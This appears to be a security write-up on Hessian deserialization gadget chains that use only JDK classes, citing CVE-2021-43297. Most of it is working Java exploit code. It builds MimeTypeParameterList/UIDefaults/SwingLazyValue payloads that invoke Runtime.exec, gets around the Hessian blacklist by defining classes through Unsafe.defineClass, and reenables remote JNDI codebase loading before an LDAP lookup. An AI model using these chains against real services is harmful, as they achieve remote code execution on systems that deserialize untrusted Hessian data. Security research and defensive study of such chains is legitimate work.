Hessian Only JDK
Introduction
This issue was raised in CVE-2021-43297 and is still present in the current Hessian library.
Basic Principle
In Hessian2Input$expect
, there is a implicit call to the obj.toString()
, which could lead to a serious of method call.
Let’s look again at how the program got to obj.toString()
In the method readObject
, the deserializer will first read the first byte as the ‘tag’.
At the case C
, the deserializer will call the readObjectDefinition
.
Then, it will call the readString
In its default case, we will call the expect
method.
Gadget Chains
So the next step is to find gadget chains beginning with toString
just in JDK.
MultiUIDefaults
1 2 3 4 5 6
| javax.swing.MultiUIDefaults#toString UIDefaults#get UIDefaults#getFromHashTable UIDefaults$LazyValue#createValue SwingLazyValue#createValue javax.naming.InitialContext#doLookup()
|
There are two limitations in this gadget
- The access modifier for
MultiUIDefaults
is default, only javax.swing
can use it
- Higher version of JDK can exploit JNDI
MimeTypeParameterList + MethodUtil
1 2 3 4 5 6 7
| javax.activation.MimeTypeParameterList#toString UIDefaults#get UIDefaults#getFromHashTable UIDefaults$LazyValue#createValue SwingLazyValue#createValue sun.reflect.misc.MethodUtil#invoke
|
MethodUtil
is something that can invoke a method from a specific Object.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import com.caucho.hessian.io.SerializerFactory; import sun.reflect.misc.MethodUtil; import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList; import javax.swing.*; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.Method;
public class main { public static void main(String[] argc)throws Exception{
Method exec = Runtime.class.getMethod("exec", String.class); Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invoke, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{"open -a calculator"}}});
UIDefaults uiDefaults = new UIDefaults(); uiDefaults.put("P3ngu1nW", swingLazyValue);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList(); setField(mimeTypeParameterList, "parameters", uiDefaults);
serialize(mimeTypeParameterList); deserialize(); } public static void setField(Object obj, String fieldname, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true); field.set(obj, value); } public static Object deserialize()throws IOException{ Hessian2Input h2i = new Hessian2Input(new FileInputStream("ser.bin")); return h2i.readObject(); } public static void serialize(Object o) throws IOException { FileOutputStream fos = new FileOutputStream("ser.bin"); Hessian2Output h2o = new Hessian2Output(fos); SerializerFactory sf = new SerializerFactory(); sf.setAllowNonSerializable(true); h2o.setSerializerFactory(sf); fos.write(0x43); h2o.writeObject(o); h2o.flushBuffer(); } }
|
Unsafe
In hessian:4.0.63
, there exists a blacklist.
So we can’t use java.lang.Runtime
and TemplatesImpl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| public static byte[] ClassByte(String cmd) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("evil"); CtMethod evil = CtNewMethod.make("public static void exp()throws Exception{ Runtime.getRuntime().exec(\"" + cmd + "\");} ", ctClass); ctClass.addMethod(evil); byte[] bytecode = ctClass.toBytecode(); ctClass.defrost(); return bytecode; } public static Object loadClass() throws Exception{ UIDefaults uiDefaults = new UIDefaults(); SwingLazyValue swingLazyValue = new SwingLazyValue("evil", "exp", new Object[0]); uiDefaults.put("P3ngu1nW", swingLazyValue); MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList(); setField(mimeTypeParameterList, "parameters", uiDefaults); return mimeTypeParameterList; } public static void initClass() throws Exception{ Method defineClass = Unsafe.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class); Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
byte[] payload = ClassByte("open -a calculator");
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe"); Field field = unsafeClass.getDeclaredField("theUnsafe"); field.setAccessible(true); Unsafe unsafe = (Unsafe) field.get(null);
SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invoke, new Object(), new Object[]{defineClass, unsafe, new Object[]{"evil", payload, 0, payload.length}}});
UIDefaults uiDefaults = new UIDefaults(); uiDefaults.put("P3ngu1nW", swingLazyValue);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList(); setField(mimeTypeParameterList, "parameters", uiDefaults); }
|
JNDI
We can use java.lang.System.setProperty
to modify com.sun.jndi.ldap.object.trustURLCodebase
to break the JNDI restriction.
1 2
| Method setProperty = Class.forName("java.lang.System").getDeclaredMethod("setProperty", String.class, String.class); SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{setProperty, new Object(), new Object[]{"com.sun.jndi.ldap.object.trustURLCodebase", "true"}}});
|
1 2
| Method doLookup = Class.forName("javax.naming.InitialContext").getDeclaredMethod("doLookup", String.class); SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{doLookup, new Object(), new Object[]{"ldap://127.0.0.1:8099/aaa"}}});
|
PKCS9Attributes + BCEL
ProxyLazyValue + DumpBytecode + System.load
Reference
https://p4d0rn.gitbook.io/java/serial-journey/hessian_only_jdk